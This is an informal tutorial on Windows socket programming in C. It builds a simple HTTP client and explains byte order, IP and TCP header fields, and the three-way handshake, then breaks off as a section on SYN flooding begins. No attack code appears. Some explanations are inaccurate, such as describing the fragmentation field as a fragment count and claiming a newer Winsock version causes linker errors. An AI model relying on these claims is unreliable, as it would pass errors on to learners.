Friends, so far, many
of you may have viewed the Internet with awe or even with reverence. Some of
you may have used the Internet for quite some time, for a number of purposes.
For example, you may have been using the Internet to download innumerable files
from different servers on the Internet, or sent and received E-Mail. But have
you ever wondered at the basic issue, as to HOW these files are sent or
received from across the Internet? Have you ever wondered about HOW the
code that allows you to send and receive E-Mails, or just browse around in the
Internet, is written?
So far, you have always
had things easy when you used a ' Browser '. This Browser would allow you to
visit sites on the Internet. You may have also exercised the option of "
New Mail Message " in the Netscape - to send E-Mails or an equivalent
option available in other Browsers. But have you ever tried to create a '
Browser ' of your own or tried to send an E-Mail using your own program? Some
of you may have wondered at the technologies used to create this ' Browser ',
or the server that handled your E-Mail. But you may have been too scared to
venture into writing code, because of an inbuilt fear that you may be unable to
understand the basic steps in creating your own Browser, or your own E-Mail
program.
We had also faced the
same hesitation when we had first tried to create our own Browser, etc. But we
did not lose heart and our perseverance were rewarded. We found the lines of
code to be so simple that we were, at one time, wondering whether we were on
the right track. As we progressed, we found it more and more easy. Here we
present our hard work - or should we say easy work - which we ultimately put
together in the form of a tutorial to explain the concept of creating some of
these Internet related programs . This tutorial will now, explain to you how
easy it is to create your own Browser etc. using simple code written in ' C '
Windows. We shall also, in this tutorial, blast away your fears about Internet
programs and show you how easy it is to operate these programs on the Internet.
We however hope that
you have a fundamental knowledge of ' C ' Windows Programming and that you are
quite adept with it's functionality.
" HTTP CLIENT "
Lets start with the
creation of a Browser. We have tried to explain this technology in a step by
step manner, so that you may understand the concept behind the creation of
Browsers, better. We do not - in this tutorial - promise you, that you will now
be able to create a replica of the Netscape browser or that your Browser will
perform all of Netscapes functions immediately. But it will not be far from
the truth, to say that, by the end of this tutorial you should, very easily, be
able to create your own Browser to obtain files from the Internet. With a
little more hard work, you may even be able to create and market your own
Browser one day.
Getting started..
Before starting,
let's get warmed up a bit by recalling the basic lines we had learnt and used
in a ' C ' Windows program, and proceed from thereon, to create our own
Browser.
# include < windows.h>
_stdcall WinMain (HINSTANCE i, HINSTANCE j, char * k, int l)
{
}
Well, this is the basic line of code and it shouldnt
warrant an explanation. With this line of code as our base, we shall start with
the creation of our Browser.
#include <windows.h>
WSADATA ws;
_stdcall WinMain(HINSTANCE i,HINSTANCE j, char *k, int l)
{
}
On building this program, you will get no errors. This is
because WSADATA is a structure tag and is present in <winsock.h>. This
header file <winsock.h> is called in the file <windows.h>. Hence we
do not have to separately include the <winsock.h> file within our
program, as it has already been included in <windows.h>. Even if we
include the file <winsock.h> in our program, it will not cause any
problems.
Lets go on with the next step in the creation of our
Browser.
#include <windows.h>
WSADATA ws;
_stdcall WinMain(HINSTANCE i,HINSTANCE j, char *k, int l)
{
WSAStartup(0x101,&ws);
}
On building the program, you will get a linker error
saying " error LNK2001: unresolved external symbol _WSAStartup@8 ".
This is because the code of this function - WSAStartup() - is present in the
library file, " Wsock32.lib ". If you don't add this file to your
project you will have a problem. To include this file, you cannot simply say
#include<wsock32.lib>. You have to manually search for the file and
include it in the project.
For searching for the file we have to first clicking on
Start which is a button stationed at the lowermost left hand corner of our
window. From the box that pops up, select Find . From here, select Files
and Folders . You will see a DialogBox with two EditBoxes, displayed. In the
EditBox titled Named, we write wsock32.lib and in the second DialogBox,
type in the name of the drive we want the computer to search for the file. Next
click on Find Now and you will see the path name of the file displayed in
the Dialog Box. In our computer this file is located at "
c:\progra~1\devstu~1\vc\lib".
Now that we know where the file is present, go back
to our program in VC++ 5.0. From here, we have to click on Project on the
menu bar, and choose Add To Project, and select Files.. Here a Dialog Box
is displayed. In the EditBox titled File type in this path along with
wsock32.lib, and click on O.K.
With this, the file wsock32.lib gets added to our
project. This is the first step you have to perform before you start with any
Winsock Programs.
When you now compile the program - after you included the
file " wsock32.lib " - you will see that the linker error which was
ruthlessly displayed previously by the linker, has now disappeared. Now this
WSAStartup is a function(). We don't know what it does or how it works - we
think that no one can ever know - but then we have to write this function as
part of syntax in our program, otherwise nothing else in our program will ever
work. This function is passed two parameters. The first parameter is a version
number - the windows sockets version number - and it is passed as 1.1.
Here is a bit of information you will find interesting,
and you should be able to sprout this information at a party where you will be
the envy of many. There is an advanced version number viz. 2.0 which has all
the features of 1.1 and more. But then using 2.0 here is a problem because all
machine do not have this version number of windows socket installed in them.
Similarly there is also a past version number viz. 1.0 which has fewer features
as compared to 1.1 - you have to keep in mind that all the features of version
1.0 are also present in 1.1.
Even if you have version 2.0 of Windows socket, this
program will work, as version 2.0 has all the features of version 1.1. So
having version 2.0 installed in your machine should in no way effect the
working of this program. At the same time if we had used version 2.0 in our
program and you only have version 1.1 in your machine, then the program would
definitely have given you the linker error. We are using version 1.1 on the
safe assumption that all machine would have at least this version installed.
The second parameter we are passing to the function
WSAStartup() , is the address of the structure ws which looks like
WSADATA. The function WSAStartup() initialises the members of this structure.
We have not used the members of this structure in our program, and hence we do
not go into details. The WSAStartup() function also initialises the Winsock
libraries. We request you to add this function to your program without asking
any further questions.
Lets proceed with our program.
#include <windows.h>
#include <stdio.h>
WSADATA ws;
int d;
char aa[1000];
void abc(char *p)
{
FILE *fp = fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
d = WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %d",d);
abc(aa);
}
Well, well, well, what does it look like ? Does it not
look like we are now back to teaching you ' C ' programming? Here, we are
merely storing the return value of the function WSAStartup() in d and
writing it into the file "b.txt" with the help of the sprintf() and
the abc() function. We have used these functions, sprintf() and
fprintf() in C and hence we felt that it was not necessary to explain
these functions.
We are now able to look at the return value of
WSAStartup() function. When you build the program you will not get any
errors. On the execution of this program, you can see it's output in the file
"b.txt", which gets created in the root directory. The output will be
as under
WSASTARTUP = 0
This may be a big let down to those of you, who were
expecting a dramatically big and impressive number. Well dont feel
disappointed, in fact you should be happy that you got a ' 0 ' as the output.
If you had a number other than ' 0 ' as your output it would mean that, there
is an error in your program.
Now are you not happy that you got the required output in
the previous program? On this happy note, we shall continue with our program.
#include <windows.h>
#include <stdio.h>
WSADATA ws;
int d;
char aa[1000];
SOCKET s;
void abc(char *p)
{
FILE *fp = fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
d = WSAStartup(0x101,&ws);
sprintf(aa," WSASTARTUP = %d",d);
abc(aa);
s = socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET =%d",s);
abc(aa);
}
The change we made in our program, was the creation of
the variable s which looks like the Macro ' SOCKET '. Now when you go to
<windows.h> to lookup the data type of this Macro, you will find that it
very clearly says that it is an unsigned int. Now we have to understand why we
have to use ' SOCKET ' and not an unsigned int .there are two reasons for
this. The first reason is that it takes more time to write unsigned int
than to write ' SOCKET '. The second reason is more important. The variable s
is used to store the return value of the function socket() . Now s is a
handle to the socket connection. A handle refers to a number which is
recognized by Windows. This number makes no sense to us, but it tells Windows
who we are. When the C preprocessor looks at the Macro SOCKET, it
internally converts it into an unsigned int. But because s is a handle, we do
not want anyone to increment or decrement it, or change it's value in any way.
That is the reason why, instead of using unsigned int , we use the Macro
SOCKET .
Let's go ahead and build this program. On execution, the
output we get is a number. This number can be anything, but it should be positive.
If you get -1 as your output, then you have a problem. It means that you
have an error.
Now let us understand what the function ' socket()
does. To this function we have to pass three parameters viz. ' AF_INET ', '
SOCKET_STREAM ' and 0 . These first two parameters are hash(#) defined in
the header file <winsock.h>. After reading this explanation, you may
wonder where have we mentioned #include<winsock.h> in our program. Now
you are faced with two options, one where you can believe us and compile the
program as it is, or you can go to the <windows.h> header file to search
whether we have made a blunder when we used the name <winsock.h>. If you
search for the Macros there, you will not find them present in that file. But
friends, you will notice that there is a #include<winsock.h> in this
<windows.h> file. Before you get entrapped in the swamp of header files
and code , our advise to you is to quit when the going is good. But if you are
still adamant, you can search for these #defines in the file <winsock.h>.
We know that AF_INET ' and ' SOCK_STREAM ' are two numbers - we do not have
to prove it to ourselves. These numbers represent protocols and are passed as
parameters to the function ' socket() '. The Macro AF_INET represents IP or
the Internet Protocol whereas the Macro SOCK_STREAM represents a stream
oriented protocol. At present there is only one stream oriented protocol viz.
TCP. The third parameter which is 0 shall not be explained by us,as we have
made an agreement with programmers all over the world. In this agreement, it is
mentioned that, any parameter to a function which is assigned the value as ' 0
is not to be explained. So with reference to that agreement we feel
disinclined to explain this parameter.
When two machines communicate with each other, they
follow a set of rules. These rules are known as networking protocols. When
Networking was first introduced, each manufacturer had their own Networking
protocols - in those days the Internet was not the defacto standard of
communication. This gave rise to a problem when two machines of different
companies tried to communicate with each other. For example an IBM- compatible
machine could not talk to an Apple Macintosh because each machine was following
a different set of protocols. It was to solve this problem, that a group of
programmers working under the UNIX operating system, got together and decided
to create a group of functions that allow different machines to work together
over any network and protocol. They named this group of functions as
"Sockets Programming". This programming is also refered to as Winsock
Programming, Internet Programming, TCP/IP Programming, etc.
Sockets programming also means network programming.
Socket programming supports a large number of protocols, one of which is
TCP/IP. If these functions were used only to program over the Internet, it
would be like trying to kill a fly with a battle tank. Most of the capabilities
of Sockets Programming would be wasted. The reason people use Socket programming
is because these same functions can be used over various networking protocols
like AppleTalk, Novell Netware, etc.
Now Microsoft, which is a giant in the software industry,
it was not to be left far behind. It coolly included a set of functions to
" Sockets Programming " and renamed it as " WinSock programming
". One of the function they included, is the ' WSAStartup() ' function.
When you want to run this same program on any other platform i.e. other than
Windows, there is no need for this ' WSAStartup() ' function.
So you realize that we can easily say that when you write
this program under UNIX or any other platform, it can be called as Sockets
Programming - as you will have to write the program without the function
WSAStartup() . When you run this same program including ' WSAStartup() ' in
Windows, it is the WinSock Programming. If you have learnt WinSock Programming
you can safely say that you know Sockets programming also.
Let us understand, that all the networking protocols are
made up of the combination of two protocols. For example in the Novell
Networking System there is ' IPX ' and ' SPX ' both of which together, form
it's networking protocols. Similarly, when the group of programmers working
under UNIX, designed a group of networking protocols, they called it the TCP/IP
group of protocols. IP is the Internet Protocol while TCP is the
Transmission Control Protocol. So now you know that the first parameter of our
function ' sockets() ', i.e. 'AF_INET ' represents the Internet Protocol and '
SOCK_STREAM ' represents the stream oriented protocol.
The output on execution of the above program as seen in '
b.txt ' is shown as below
WSASTARTUP = 0
SOCKET = 3
Now is that not a cute little output ? You quickly come
to know that the number is not -1 and so you can relax and be happy with
the output.
Let us now proceed with our program.
#include <windows.h>
#include <stdio.h>
WSADATA ws;
int d;
char aa[1000];
struct sockaddr_in a;
SOCKET s;
void abc(char *p)
{
FILE *fp = fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
d = WSAStartup(0x101,&ws);
sprintf(aa, "WSASTARTUP = %d",d);
abc(aa);
s = socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %d",s);
abc(aa);
a.sin_family = AF_INET;
a.sin_port = htons(80);
a.sin_addr.s_addr = inet_addr("202.54.1.18");
}
Well the very first thing you notice in this program is,
the creation of a structure a which looks like the structure tag '
sockaddr_in '. This structure tag is defined in <windows.h> header file.
How do we know this ? We know this because, if it was not defined in
<windows.h> or some header file included in it, then it would have given
us an error during compilation. We have also initialized three members of this
structure a . The first member, ' sin_family ', is initialized to the IP
protocol ' AF_INET '. The next member ' sin_port ' is initialized to the return
value of the function htons() .
Here, let us understand the function htons() . Today
when a integer is to be stored on the stack, some machines store it in a
certain method - as explained below - where as other machines store it
differently - as explained later. For instance, suppose you want to store a
number (an int) 258 on the stack, it will be stored on the stack in the manner
shown in the figure below.
1 |
2 |
Now you know that the number 258 will use up two bytes of
memory space on the stack - because it is an int. The number stored in the upper
byte of the memory location allocated to it, is to be multiplied by 256 and the
number in the lower memory location is to be multiplied by 1, so by adding the
two ( 1 * 256 + 2 * 1) you will get the output you want - this we have learnt
in ' C ' when we learnt about the stack and how it stores bytes in memory. This
means that the value which is to be multiplied by the smaller number i.e. 1, is
put on the lower byte of the memory allocated and the value which is to be
multiplied by the larger number i.e. 256, is put on the upper byte of the
memory allocated. This method of storing variables on stack is known as the
Little Endian method. This is the way the Intel family and a number of other
computers store numbers on their stack.
Now lets see how other machines store the variables
differently. This can be explained in the figure below.
2 |
1 |
Here the very same number is stored in another way i.e.
the value which is to be multiplied by the bigger number i.e. 256, is stored on
the lower byte of the memory allocated on the stack while the value which is to
be multiplied by the smaller number i.e. 1, to stored on top. This method of
storing variables on the stack is called as the Big Endian method.
In this case the upper byte of the memory location is 2
and the lower byte of the memory location is 1. These machines multiply the
upper byte memory location by 1 and the lower byte memory location by 256 to
arrive at the output as 258 i.e. (2*1 + 256 * 1).
Now whenever two or more machines using the same '
Endians ' connect to each other on the network, they will have no problem
talking to each other. The fun starts when two machines using different '
Endians ' connect to each other, both machines use their own method by which
they store integer on the stack.
If a Little Endian machine is talking to a Big Endian
machine, the Little Endian machine has to first convert the bytes to Big
Endian. When we talk of bytes, it does not mean that we are talking about
char which occupies only one byte. We are talking about ints or longs
as it takes more than one byte of memory space. The order of these bytes - in
memory - has to be totally reversed.
For example if one machine which follows the Little Endian
passes an integer 258 - with 1 as the first byte and 2 as the second - to a
machine which uses Big Endian . The other machine will receive these two
bytes and multiply the first byte by 1 and the second byte by 256 to arrive at
513. Thus you can see how drastically the number gets changed on transmission.
Hence, these bytes are to be first reversed before they get transmitted across.
Now on the Internet, when you connect to another machine,
you can never know which Endian method the other machine you are connecting
to will be using. This created a problem. The Internet unfortunately
standardised on the Big Endian . Unfortunate, because today, more than 90%
of the machines on the Internet, store data in the Little Endian method.
The problem really starts, when a machine which uses the
Little Endian method has to communicate with another machine which uses Little
Endian on the Internet. The bytes still have to be first changed to the Big
Endian method and sent across to that other machine. This machine on receiving
the bytes will have to again convert these bytes back to Little Endian before
it can read the data sent. The reason why the Internet is inefficient today is
because Little Endian machines over shadow Big Endian machines.
Now any machine, which wants to connect to the Internet,
will have to use the ' Big Endian ' method of transmitting bytes. This creates
a problem to machines using ' Little Endians '. Now how do we solve the problem
of converting the ' Little Endian ' to ' Big Endian '?
This can be done very easily through the function '
htons() '. This function has to be passed a parameter. This parameter should be
a port number. We, in our program, have used the port number ' 80 ' which
stands for the ' HTTP ' port.
Every machine on the Internet is given a unique number to
distinguish it from the different other machines. This number is known as it's
IP address. In our program we have initialised a third member of the structure
a viz. sin_addr.s_addr . To this member we have passed the return value
of the function inet_addr() .
You have to understand that an IP address is a long
number, and a long number can be anywhere between 0 to 4 billion. Now suppose
you have an IP address say 1546847603, dont you find it difficult to
remember this number ? If it was one number then maybe, and I mean maybe, you
might just remember it. But then, if you have ten or say twenty such numbers to
remember, then you would have to start maintaining a log book and check each
number at least twice before trying to connect to that IP address. So to make
your life a bit easier the IP addresses are written in the Dotted Decimal
Notation. This means that now, your long number is now divided into groups
of four different numbers each separated by a dot ( . ) because a long takes
four bytes. Now take for example 202.54.1.18 isnt it easier to remember
than that long number. These four numbers together form an IP address.
To the function inet_addr() we have to pass an IP
addess. This function takes this IP address in the form of a string and
converts it into a long number and returns this long number to
sin_addr.s_addr . This number is calculated in the following manner.
202 * 2 24 + 54 * 2 16 + 1 * 2 8
+ 18 * 2 0.
Now that we know the server we want to connect to, we can
go ahead and try to connect to that server.
#include <windows.h>
#include <stdio.h>
WSADATA ws;
int d;
char aa[1000];
struct sockaddr_in a;
SOCKET s;
void abc(char *p)
{
FILE *fp = fopen("c:\\b.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
d = WSAStartup(0x101,&ws);
sprintf(aa, "WSASTARTUP = %d",d);
abc(aa);
s = socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %d",s);
abc(aa);
a.sin_family = AF_INET;
a.sin_port = htons(80);
a.sin_addr.s_addr = inet_addr("202.54.1.18");
d = connect(s, (struct sockaddr *)&a , sizeof(a));
}
In this program we have used a function ' connect() '. To
this function we have to pass three parameters. The first parameter is ' s '
which is nothing but the return value of the function ' socket() '. This
variable at present knows only the protocol which is to be used. As we progress
with our, program youll see how this variable keeps increasing it's knowledge.
The second parameter of the function connect() is the address of the
structure a . The function connect() however requires this parameter to look
like sockaddr , while a looks like sockaddr_in . This is why we have
to cast a to sockaddr . The last parameter is the size of the structure
' a '.
The output we now get in the ' b.txt ' file is as
follows.
WSASTARTUP = 0
SOCKET = 3
This shows that we are still on the right track. Once the
connect() function is executed our socket s will not only know the
protocol to be used but also the IP address and port number of the machine we
want to connect to.
Let us now understand what the function ' connect() '
does. Assume our machine is trying to connect to another machine on the
Internet. Before the actual connection takes place there is a particular
procedure that is followed. This procedure is popularly known as a three-way
handshake. Our machine has to first send a header of forty bytes to the
machine we are trying to connect to. The other machine will then respond by
sending a header of forty bytes back to our machine. Our machine has to then
send a final forty bytes to the other machine. Only after these final forty
bytes of the header are received by the other machine, is the connection
complete.
If we wish to connect to any machine using our program,
it has to follow the same procedure. The connect() function is responsible for
the three-way handshake where the TCP/IP header bytes are sent, received
and sent again .
We have, time and again, tried to explain Winsock
Programming, but until now, we have failed to do so. So we decided to take a
small break and instead explain the bytes that are actually generated by the
connect() function. We feel that this is the only way you can really
understand Winsock Programming.
Let us now understand what these header bytes contain.
The forty bytes sent as the header are divided into two
parts of twenty bytes each. The first part consists of the IP or the Internet
Protocol and the next twenty bytes comprise of the TCP or the Transmission
Control Protocol. Let us first understand what the first twenty bytes i.e. the
IP header comprise of and then go on to understand what the other twenty bytes
mean. For this just take a look at the table below.
4 |
5 |
Type of Service (0) |
0 |
40 |
identity |
identity |
fragmentation (0) |
fragmentation (0) |
|
Time to Live (20) |
6 |
check sum |
check sum |
|
Source (70.) |
Internet (0.) |
Protocol (0.) |
Address (1) |
|
Destination (70.) |
Internet (0.) |
Protocol (0.) |
Address (2) |
The above diagram is shown to represent the first twenty
bytes of the header - the IP. Let us now understand each of these bytes one at
a time.
The first byte is divided two parts of four bits each
(you should know that each byte is eight bits large). The first four bits
specifies the version number of the Internet Protocol we are using. This is
usually ' 4 '. Now some genius amongst you will definitely want to know about
the version ' 6 ' which is going to come. But friend, why bother about
something which may come later? It may not come for another twenty years. So
till then we shall forget about it. For your information there is no version '
3 ' or version ' 5 ' as far as we know.
The second four bits of the first byte specifies the
length of the IP header. The value in these four bits is multiplied by four to
arrive at the length of the IP header. Now since they are only four bits, they
can at the most be assigned a value between 0 and 15. Now the minimum size
of the IP header should be twenty bytes in length. So the minimum value,
these four bits can be assigned is ' 5 ' and the maximum it can go up to is '
15 ' which means that your IP header can at the maximum be ' 15 * 4 '
i.e. 60 bytes in length.
The next byte is the type of service you can assign
to your protocol. Now you know that when the Presidents motorcade has to pass
along the roads of our fair city, all the roads are cleared and he is allowed
to pass along at the best possible speed. This is the priority given to him. So
also on the Internet, when an important person wants to access a server, don't
you think that he/she should be given the first priority ? This priority is
supposed to be specified in the second byte of the IP. We have to understand
that on the Internet a packet can meet either a computer or a router and
nothing else. A router is nothing but a specialised computer with additional
hardware. All that a router does, is direct a packet to it's destination or to
another router that knows the destination. These routers have to be really
fast. Because of this, routers do not look at the type of service field.
Because routers ignore this field, everybody also ignore this field. Hence, the
packet of an important is forced to stand in the same queue to get an access to
the server. There is no differentiation between important and unimportant
people on the Internet. At present this field is not used.
The next two bytes are ' 0 ' and ' 40 '. These denote the
total length of the packet. We are passing the first byte as ' 0 ' and the next
byte as ' 40 '. This is because we are passing them in the ' Big Endian '
method. Our packet is forty Bytes large and if we had passed it as ' 40 ', ' 0
' then the ' Big Endian ' method would have multiplied the first byte by 256
which would have increased the length of our packet.
The next two bytes are the packet id and you can put
any number you want here. For your information, in most cases, these bytes are
never used.
Suppose you want to send some data in a file across the
Internet and the size of the file is 3000 bytes. When your file is traveling
across the Internet, it might encounter a router which cannot accept more than
1000 bytes at a time. This would create a problem as the router can only
support 1000 bytes at a time whereas you want to send 3000 bytes in one go.
According to the Internet, the maximum size of a packet
that a router should support, could not be decided. Different networks have
different limits. For example, on an Ethernet network we cannot have a packet
larger than 1500 bytes, but other networks might not have the same limitation.
So it was decided that every router or network that is said to be on the
Internet, has to support a packet size of minimum 576 bytes. If our file is
smaller than 576 bytes, we can be assured that it will not be broken. If the
size of our file exceeds 576 bytes, then it might have to be broken into a
number of packets. The routers or networks on the Internet might support a
packet size of 2000 or may be even 20000. In such cases it is better for us.
But the minimum size of a packet that the router or the network has to support,
without breaking it up, is 576 bytes.
When your packet reaches its final destination, the
router has to know the total number of packets your original file was broken
into. The next two bytes of the IP header denote the number of fragments that
your original file has been broken into. In our case we have to send only forty
bytes, and it is so small that there is no need for it to be fragmented. So we
are specifying this field as ' 0 ' , ' 0 '.
The next byte is important. You have to understand that,
whenever you send packets to a particular server on the Internet, you connection
is never direct to that server. Your packet passes through a number of
computers known as ' routers '. A router would know the route to the server you
want to connect to, in which case your packet would be sent by the router
directly to that server. However, if that router did not know the route to the
server you want to connect to, it would connect you to a different router which
would know the route to that server. Now if even this router did not know the
route to the server you want to connect to, it would in turn take your packet
to another router which could know. This process goes on and on, until your
packet reaches the server. Take for example that you want to connect to a
server which is situated somewhere in U.S.A. The route taken by your packet may
first go to a router in Bombay. This router may divert your packets to a router
in London which in turn may know the route to the server in U.S.A. But suppose
this router - in London - develops a bug, and it sends the packet received by
it back to the router in Bombay. Now what do you think will happen? This router
- in Bombay - on seeing that the packet is for U.S.A. would send it back to the
router in London, which again - as it has developed a bug - sends it back to
Bombay. This process might go on and on for such a long period of time that,
even ten years from now, if by mistake you happen to go on to the Net, you
would see your packet shuffling between London and Bombay. To guard against
this possibility, the next byte of your IP protocol specifies as to the maximum
number of routers your packet can shuffle between, before it gets dropped from
the Net.
Each time your packet meets a router, the value present
in this byte is decreased by 1. So now when your packet goes to the router in
Bombay it would decrease the value in this byte by 1, and on reaching London
the router there will again reduce the value of the byte by 1. Now, assigning
this byte a value 20, means that your packet can, at the most, shuffle between
London and Bombay for a maximum of 20 times after which it will be dropped.
The next byte, you may notice, has been specified as ' 6
'. The value in this byte indicate the bytes of the which protocol come after
the twenty bytes of the IP header. The value 6 indicates that the IP header
is followed by a TCP header.
Whenever you send a packet on the Internet, you have to
know whether the packet has reached it's destination or not. There is always a
possibility that during transmission, your packet has to travel through a noisy
connection. It is also possible, that the data transmitted could get corrupted.
In our IP header, we are sending 20 bytes. We have a formula, which considers
all the bytes of the header except the two bytes of check sum. For the
remaining 18 bytes, we calculate a number, using the formula, to represent
these 18 bytes. This number is put in the two bytes of check sum. When our
packet reaches the destination, that machine would again calculate the number
to represent these 18 bytes. If the result matches with our check sum, it means
that the data has been transmitted correctly. If the result does not match, it
would mean that the data got corrupted during transmission.
The next four bytes are called the Source IP address and
represents the IP address of your machine.
The last four bytes of the IP header represents the
Destination IP address i.e. the server to whom you are sending the header.
Let us now learn what the next twenty bytes i.e. of the
TCP/IP header, look like. These are explained through the help of the following
table.
4 |
0 |
0 |
80 |
||
0 |
0 |
0 |
2 |
||
0 |
0 |
0 |
0 |
||
5 |
unused |
|
| | | | | | |
Window (4) |
Size (0) |
check sum |
check sum |
urgent (0) |
pointer (0) |
||
In the TCP header the first two bytes represent the source
port. Now what is a port ? Ports are like designations in an organisation. In
any organisation plenty of mail is received daily. Even then, each person
receives his own mail correctly. The mail of one person is never given to
another. The Internet supports different applications like File Transfer
Protocol, E-Mail, World Wide Web, etc. which we shall be discussing in greater
detail later on. It is possible that one machine supports more than one
application. When your packet arrives at that machine, how will the machine
know where this packet has to go? To solve this problem, each of these
applications is given it's own unique number. In technical terms, we call the
unique number assigned to each of these applications as it's port number. This
number will also be present in the Source Port bytes of your TCP header. The
machine is now able to decide where the packet is to be sent i.e. to which
application. I.A.N.A. is the International body that has the authority to
allocate port numbers. For this purpose it has reserved the numbers between 0
and 1023. For example I.A.N.A. has allotted port number 80 for the HTTP server,
so now whenever you connect to a machine specifying the port number as 80, the
machine knows that you want to connect to a HTTP server.
Likewise in our case we have to have a port number, so as
to be able to receive any packet, that is sent to us by the server, to which we
are connecting. If you want to create a port number which is less than 1023 you
have to contact the I.A.N.A. and get it's permission. If you want to go through
all the trouble and hassels in contacting the I.A.N.A., you are free to do so.
But we, on the other hand having no such desire, simply use the other option
available to us. We chose the next available number i.e. 1024 as our port
number. This port number, as we are forced to use the ' Big Endian ' method,
has to be passed in the next two bytes as ' 4 ' and ' 0 '.
Similarly the next two bytes represents the port which we
want to connect to i.e. the port of the server we want to connect to also
called as the destination port. Now in our program we had mentioned 80 as the
parameter to ' htons() ' it means we want to connect to port 80 - the HTTP port
- and hence the next two bytes are taken as ' 0 ' and ' 80 '.
The next four bytes represent a ' Sequence number '. This
number can be any random number. Because of this reason after much thought and
deliberation we finally decided to use the numbers ' 0 ' , ' 0 ' , ' 0 ' , ' 2
'. Now if you want to, you are free to change it to any number you like. These
numbers are actually generated randomly by the machine - computer.
The next four bytes are called as the ' Acknowledgment
number'. Now since we have not yet passed the packet across the Internet to the
server, we cannot expect to receive an acknowledgment from it. So these four
numbers here are ' 0 ',' 0 ',' 0 ',' 0 '.
The next two bytes are interesting. We know that each
byte is divided into 8 bits so we have a total of 16 bits from the two bytes.
The first four bits represent the length of the TCP protocol. We have assigned
it, the value, ' 5 '. The value in these four bits are multiplied by four to
arrive at, the length of the TCP header. Now since they are only four bits they
can at the most be assigned the value between 0 - 15. Now the minimum size of
the TCP header is twenty bytes while the maximum size can be 15*4 i.e. 60 bytes
in length. This now takes care of the first four bits. The next six bits are
unused. So it is no use trying to explain what they represent. The remaining
six bits are to be considered individually. One of these bits, is known as '
syn flag '. This bit is on in the packet of the first forty bytes of header,
sent to the server. This process where we are sending our first forty bytes to
the server is known as the ' Syn '.
The next two bytes represent the window size. What it
means we shall explain a little later. At present we just pass the values as '
4, 0 '.
The next two bytes are the check sum. They are similar to
the check sum of the IP protocol which we had explained earlier. Now you may be
wondering why you require two check sum's in one packet ? This is because each
protocol should have it's own check sum.
The last two bytes represent ' Urgent Pointers '. What
they represent, we shall explain a little later.
By sending these forty bytes to the server, the job of
the function ' connect() ' is not over.
After the forty bytes are received by the server, the
server replies back with forty bytes of it's own. These forty bytes are more or
less similar to the forty bytes sent by us to the server with some minor
changes. Just have a peek at the table below, which contains the forty bytes
sent to us by the server.
4 |
5 |
Type of Service (0) |
0 |
40 |
|
identity |
identity |
fragmentation (0) |
fragmentation (0) |
||
Time to Live (20) |
6 |
check sum |
check sum |
||
Source (70.) |
Internet (0.) |
Protocol (0.) |
Address (2) |
||
Destination (70.) |
Internet (0.) |
Protocol (0.) |
Address (1) |
||
0 |
80 |
4 |
0 |
||
0 |
0 |
0 |
5 |
||
0 |
0 |
0 |
3 |
||
5 |
unused |
|
| | | | | | |
Window (4) |
Size (0) |
check sum |
check sum |
urgent (0) |
pointer (0) |
||
Well, after seeing this table, you will realise how similar
this header is to the header sent by us to the server.
The first twelve bytes of the header remains unchanged,
so it is no use repeating the explanation of what these bytes mean.
When we were sending our ' Syn ' packet to the server, we
had placed our machines IP address in the bytes allocated for the Source IP
address. But now since we are receiving a packet from the server, at this
location the IP address of that machine is placed.
Similarly, the address that is placed in the Destination
IP address in the packet we are receiving, will now be the address of our
machine.
Let us now take a look at their TCP header.
The first two bytes of this header stands for the port
number from which they (server) are connecting to us (client). The next two
bytes represent our port number which shows that they are contacting us on our
port number. Thus the source port and destination port are reversed as compared
to our header of the first forty bytes.
The next four bytes form the servers ' Sequence number
'. This number can again be any random number and it is generated by that
machine. We decided to use the numbers ' 0 ' , ' 0 ' , ' 0 ' , ' 5 ' so that it
would be easier to explain to you what the numbers represent.
The next four bytes form the ' Acknowledgment number '.
The server on receiving our ' Sequence number ' adds one to it and sends it
back to us as it's Acknowledgement number . Hence, the number which we have
transmitted as ' 0 ' , ' 0 ' , ' 0 ' , ' 2 ' has now been increased by one and sent
back to us as ' 0 ' , ' 0 ' , ' 0 ' , ' 3 '
Now in the next two bytes which are divided into eight
bits each the first ten bits remain the same. Of the last six bits, one of the
bits is now activated. i.e. ' Ack '.
The last six bytes of the header, which the server sends
us is exactly the same as what we as the client sent.
These forty bytes which are sent to us (client), by the
server is known as ' Syn Ack '.
After the server sends us a ' Syn Ack ', it waits for us
to respond back to it with an ' Ack '. We now have to send a further forty
bytes back to the server. These forty bytes are as shown in the table below.
4 |
5 |
Type of Service (0) |
0 |
40 |
|
identity |
identity |
fragmentation (0) |
fragmentation (0) |
||
Time to Live (20) |
6 |
check sum |
check sum |
||
Source (70.) |
Internet (0.) |
Protocol (0.) |
Address (1) |
||
Destination (70.) |
Internet (0.) |
Protocol (0.) |
Address (2) |
||
4 |
0 |
0 |
80 |
||
0 |
0 |
0 |
3 |
||
0 |
0 |
0 |
6 |
||
5 |
unused |
|
| | | | | | |
Window (4) |
Size (0) |
check sum |
check sum |
urgent (0) |
pointer (0) |
||
Now this header is just like the first header of forty
bytes which we had sent. The only change now is in the ' Sequence ' number and
the ' Acknowledgment ' number.
In the bytes reserved for the Sequence number ' we
place the number we received as an ' Acknowledgment number ' from the server.
In the bytes reserved for the Acknowledgment number we
place the number we received as the ' Sequence number ' from the server after
adding it's value by one.
These forty bytes which are now sent to the server, by us
(client) is known as ' Ack '.
This process of sending the header - from us to the
server , from the server back to us and us sending back the header to the
server - is called as a three-way handshake. The ' connect() ' function is over
only after the three-way handshake is complete.
Let us however remember that all these bytes are
generated during runtime only when the ' connect () ' function is being
executed.
Syn Flooding..
Whenever a client is sending a ' Syn ' to the server, the
server knows that someone wants to connect to him. It means the client who is
trying to connect and is asking for permission to do so. The TCP IP stack has
to send this client a ' Syn Ack '. For this purpose he needs to know a few
things about the client like it's IP address, port number, Sequence number of
